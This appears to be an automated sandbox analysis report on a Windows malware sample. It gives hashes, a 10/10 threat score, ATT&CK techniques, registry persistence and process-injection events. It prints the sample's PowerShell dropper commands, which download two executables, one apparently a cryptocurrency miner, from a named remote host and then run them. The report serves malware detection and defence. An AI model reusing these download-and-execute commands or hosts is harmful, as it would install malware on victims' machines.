374bd3c40a4cea98435b893e890b9d66637a73671d54ce1faebb29134c831942

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26/12/2023, 02:55

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General

Target

4e28029fbd291d72f711778ca5b974e2.exe
Size

4.2MB
MD5

4e28029fbd291d72f711778ca5b974e2
SHA1

9e8a6e2c2da0e5e6459e52a9bf76963ca05ee6fa
SHA256

374bd3c40a4cea98435b893e890b9d66637a73671d54ce1faebb29134c831942
SHA512

b9de32234b06be44d8d9e4d48c9b47487eec0a0d48077c2f8769301b55ffd7136c894e93857acce06a83ed5e2d917d5c22239a65b03db7a44e1acb16b11ad2d4
SSDEEP

98304:PwpXIqnx5dwTto4URFdBFnTBfrmRuBO17n7TZAAH3KC:PwpXIqbmTtNURHBFBhs1r71PHJ

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://galaxystar.cc/upd/clinet-1.exe

exe.dropper

https://galaxystar.cc/upd/cgminer.exe

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	4e28029fbd291d72f711778ca5b974e2.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2160	powershell.exe
2856	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2164 wrote to memory of 2160	2164	4e28029fbd291d72f711778ca5b974e2.exe	28
PID 2164 wrote to memory of 2160	2164	4e28029fbd291d72f711778ca5b974e2.exe	28
PID 2164 wrote to memory of 2160	2164	4e28029fbd291d72f711778ca5b974e2.exe	28
PID 2164 wrote to memory of 2160	2164	4e28029fbd291d72f711778ca5b974e2.exe	28
PID 2164 wrote to memory of 2160	2164	4e28029fbd291d72f711778ca5b974e2.exe	28
PID 2164 wrote to memory of 2160	2164	4e28029fbd291d72f711778ca5b974e2.exe	28
PID 2164 wrote to memory of 2160	2164	4e28029fbd291d72f711778ca5b974e2.exe	28
PID 2164 wrote to memory of 2856	2164	4e28029fbd291d72f711778ca5b974e2.exe	30
PID 2164 wrote to memory of 2856	2164	4e28029fbd291d72f711778ca5b974e2.exe	30
PID 2164 wrote to memory of 2856	2164	4e28029fbd291d72f711778ca5b974e2.exe	30
PID 2164 wrote to memory of 2856	2164	4e28029fbd291d72f711778ca5b974e2.exe	30
PID 2164 wrote to memory of 2856	2164	4e28029fbd291d72f711778ca5b974e2.exe	30
PID 2164 wrote to memory of 2856	2164	4e28029fbd291d72f711778ca5b974e2.exe	30
PID 2164 wrote to memory of 2856	2164	4e28029fbd291d72f711778ca5b974e2.exe	30

C:\Users\Admin\AppData\Local\Temp\4e28029fbd291d72f711778ca5b974e2.exe
"C:\Users\Admin\AppData\Local\Temp\4e28029fbd291d72f711778ca5b974e2.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2164
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://galaxystar.cc/upd/clinet-1.exe,https://galaxystar.cc/upd/cgminer.exe -Destination hkx.exe,kWH.exe;
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -command Start-Process hkx.exe; Start-Process kWH.exe;
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e7dd3116fdae9499cbed5a5142a09a46

SHA1
ed93f74cd512e704a69a394828bad6d5630c95b1

SHA256
4f2c721e7a1342c89abf7dcf70c47acc0b0fddd1ffb03f3dc72758b1f63a3b88

SHA512
542ff782b478826ade1226d354a299b9824bd9d82f4f7250a1e663188017381c4c546cde2a13b9ee1b707dd6ebfa503c5782d32406c35c9a964eddc3642683d1

Download Submit
memory/2160-6-0x00000000733B0000-0x000000007395B000-memory.dmp

Filesize
5.7MB

Download
memory/2160-7-0x00000000028B0000-0x00000000028F0000-memory.dmp

Filesize
256KB

Download
memory/2160-17-0x00000000733B0000-0x000000007395B000-memory.dmp

Filesize
5.7MB

Download
memory/2856-24-0x00000000029A0000-0x00000000029E0000-memory.dmp

Filesize
256KB

Download
memory/2856-23-0x0000000072E00000-0x00000000733AB000-memory.dmp

Filesize
5.7MB

Download
memory/2856-25-0x0000000072E00000-0x00000000733AB000-memory.dmp

Filesize
5.7MB

Download